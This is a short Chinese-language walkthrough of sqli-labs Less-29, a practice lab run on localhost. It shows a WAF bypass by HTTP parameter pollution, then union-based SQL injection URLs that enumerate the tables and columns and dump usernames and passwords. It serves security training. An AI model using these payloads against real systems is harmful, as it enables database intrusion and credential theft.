sqli-labs (less-29)
进入29关,输入ID=1
输入
http://127.0.0.1/sql1/Less-29/?id=1' #回显错误
根据错误显示,判断闭合方式为’–+,但是这里不就跟less-1一模一样了吗,我们打开less-29的源文件看看,发现不只一个页面
我们输入
http://127.0.0.1/sql1/Less-29/login.php?id=1
输入
http://127.0.0.1/sql1/Less-29/login.php?id=1'
这里意思为WAF防火墙成功阻挡了本次攻击,那是不是不存在SQL注入漏洞了呢,当然不是,我们想办法绕过WAF就行了
http://127.0.0.1/sql1/Less-29/login.php?id=1&id=2
这里我们在ID后面输入id=1&id=2,网站到底会去执行哪个ID呢,这里需要看我们使用的web容器,如果我们使用的web容器为apache,则会执行id=2,如果为tomcat,则会执行id=1,这里我的web容器为apache,所以会执行id=2
http://127.0.0.1/sql1/Less-29/login.php?id=1&id=2' #回显错误
根据错误信息判断闭合方式为’–+,并且为字符型注入
确定回显位置
http://127.0.0.1/sql1/Less-29/login.php?id=1&id=-2' union select 1,2,3--+
查看当前库
http://127.0.0.1/sql1/Less-29/login.php?id=1&id=-2' union select 1,2,database()--+
查看security库下的所有表
http://127.0.0.1/sql1/Less-29/login.php?id=1&id=-2' union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema='security')--+
查看users表下的所有字段
http://127.0.0.1/sql1/Less-29/login.php?id=1&id=-2' union select 1,2,(select group_concat(column_name) from information_schema.columns where table_name='users')--+
查看username,password字段的所有值
http://127.0.0.1/sql1/Less-29/login.php?id=1&id=-2' union select 1,2,(select group_concat(concat_ws('~',username,password)) from security.users)--+